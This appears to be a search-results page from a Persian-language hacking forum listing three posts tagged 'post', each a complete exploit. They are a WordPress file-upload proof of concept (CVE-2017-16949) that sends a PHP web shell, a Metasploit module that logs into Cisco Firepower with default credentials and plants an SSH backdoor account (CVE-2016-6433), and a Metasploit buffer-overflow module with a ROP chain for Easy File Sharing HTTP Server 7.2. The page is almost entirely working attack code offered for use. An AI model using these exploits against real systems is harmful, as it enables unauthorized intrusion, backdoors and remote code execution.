رفتن به مطلب

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'post'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • AnonySec
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پروژه های شرکت
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

3 نتیجه پیدا شد

  1. # Exploit Title: Unauthenticated Arbitrary File Upload # Date: November 12, 2017 # Exploit Author: Colette Chamberland # Author contact: [email protected] # Author homepage: https://defiant.com # Vendor Homepage: https://accesspressthemes.com/ # Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446 # Version: < 3.2.0 # Tested on: Wordpress 4.x # CVE : CVE-2017-16949 Description: Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows the attacker to upload anything they want, bypassing the filters. PoC: POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1 Host:server User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792 Content-Length: 264 Referer: http://target.com/ Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; Connection: close Upgrade-Insecure-Requests: 1 -----------------------------7230359611602921801124357792 Content-Disposition: form-data; name="qqfile"; filename="myshell.php" Content-Type: text/php <?php echo shell_exec($_GET['e'].' 2>&1'); ?> -----------------------------7230359611602921801124357792--
  2. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Cisco Firepower Management Console. The management system contains a configuration flaw that allows the www user to execute the useradd binary, which can be abused to create backdoor accounts. Authentication is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt', # Original discovery & PoC 'sinn3r' # Metasploit module ], 'References' => [ [ 'CVE', '2016-6433' ], [ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ] ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 10 2016', 'CmdStagerFlavor'=> %w{ echo }, 'DefaultOptions' => { 'SSL' => 'true', 'SSLVersion' => 'Auto', 'RPORT' => 443 }, 'DefaultTarget' => 0)) register_options( [ # admin:Admin123 is the default credential for 6.0.1 OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']), OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']), OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']), OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']), OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22]) ], self.class) end def check # For this exploit to work, we need to check two services: # * HTTP - To create the backdoor account for SSH # * SSH - To execute our payload vprint_status('Checking Cisco Firepower Management console...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213') }) if res && res.code == 200 vprint_status("Console is found.") vprint_status("Checking SSH service.") begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(rhost, 'admin', port: datastore['SSHPORT'], password: Rex::Text.rand_text_alpha(5), auth_methods: ['password'], non_interactive: true ) end rescue Timeout::Error vprint_error('The SSH connection timed out.') return Exploit::CheckCode::Unknown rescue Net::SSH::AuthenticationFailed # Hey, it talked. So that means SSH is running. return Exploit::CheckCode::Appears rescue Net::SSH::Exception => e vprint_error(e.message) end end Exploit::CheckCode::Safe end def get_sf_action_id(sid) requirements = {} print_status('Attempting to obtain sf_action_id from rulesimport.cgi') uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'cookie' => "CGISESSID=#{sid}" }) unless res fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.') end sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1] unless sf_action_id fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi') end sf_action_id end def create_ssh_backdoor(sid, user, pass) uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') sf_action_id = get_sf_action_id(sid) sh_name = 'exploit.sh' print_status("Attempting to create an SSH backdoor as #{user}:#{pass}") mime_data = Rex::MIME::Message.new mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"') mime_data.add_part('file', nil, nil, 'form-data; name="source"') mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"') mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"') mime_data.add_part( "sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}", 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{sh_name}\"" ) send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => "CGISESSID=#{sid}", 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", 'data' => mime_data.to_s, 'vars_get' => { 'no_mojo' => '1' }, }) end def generate_new_username datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5) end def generate_new_password datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5) end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: 'cisco', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def do_login console_user = datastore['USERNAME'] console_pass = datastore['PASSWORD'] uri = normalize_uri(target_uri.path, 'login.cgi') print_status("Attempting to login in as #{console_user}:#{console_pass}") res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'username' => console_user, 'password' => console_pass, 'target' => '' } }) unless res fail_with(Failure::Unknown, 'Connection timed out while trying to log in.') end res_cookie = res.get_cookies if res.code == 302 && res_cookie.include?('CGISESSID') cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first print_status("CGI Session ID: #{cgi_sid}") print_good("Authenticated as #{console_user}:#{console_pass}") report_cred(username: console_user, password: console_pass) return cgi_sid end nil end def execute_command(cmd, opts = {}) @first_exec = true cmd.gsub!(/\/tmp/, '/usr/tmp') # Weird hack for the cmd stager. # Because it keeps using > to write the payload. if @first_exec @first_exec = false else cmd.gsub!(/>>/, ' > ') end begin Timeout.timeout(3) do @ssh_socket.exec!("#{cmd}\n") vprint_status("Executing #{cmd}") end rescue Timeout::Error fail_with(Failure::Unknown, 'SSH command timed out') rescue Net::SSH::ChannelOpenFailed print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)') retry end end def init_ssh_session(user, pass) print_status("Attempting to log into SSH as #{user}:#{pass}") factory = ssh_socket_factory opts = { auth_methods: ['password', 'keyboard-interactive'], port: datastore['SSHPORT'], use_agent: false, config: false, password: pass, proxy: factory, non_interactive: true } opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do @ssh_socket = Net::SSH.start(rhost, user, opts) end rescue Net::SSH::Exception => e fail_with(Failure::Unknown, e.message) end end def exploit # To exploit the useradd vuln, we need to login first. sid = do_login return unless sid # After login, we can call the useradd utility to create a backdoor user new_user = generate_new_username new_pass = generate_new_password create_ssh_backdoor(sid, new_user, new_pass) # Log into the SSH backdoor account init_ssh_session(new_user, new_pass) begin execute_cmdstager({:linemax => 500}) ensure @ssh_socket.close end end end
  3. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp #include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow', 'Description' => %q{ This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software. }, 'Author' => [ 'bl4ck h4ck3r', #POC 'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '42186' ], ], 'Privileged' => true, 'Payload' => { 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", }, 'Platform' => 'win', 'Targets' => [ [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ], ], 'DefaultOptions' => { 'RPORT' => 80, 'EXITFUNC' => 'thread', 'ENCODER' => 'x86/alpha_mixed' }, 'DisclosureDate' => 'Jun 12 2017', 'DefaultTarget' => 0)) end def create_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ # 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0xFFFFFDFE, # -202 0x100231d1, # NEG EAX # RETN [ImageLoad.dll] 0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ} 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x1004de84, # &Writable location [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll] 0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll] 0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll] 0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 0x100218f9, # POP EBP # RETN [ImageLoad.dll] 0x61c24169, # & push esp # ret [sqlite3.dll] 0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x1001bd98, # POP ECX # RETN [ImageLoad.dll] 0x1004de84, # &Writable location [ImageLoad.dll] 0x61c373a4, # POP EDI # RETN [sqlite3.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x90909090, # nop 0x100240c2, # PUSHAD # RETN [ImageLoad.dll] ].flatten.pack('V*') return rop_gadgets end def exploit sploit = rand_text_alpha_upper(2278) rop_chain = create_rop_chain sploit << rop_chain sploit << "\x90" * 200 sploit << payload.encoded sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length) sploit << [target.ret].pack('V') request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password" connect sock.put(request) handler disconnect end end
×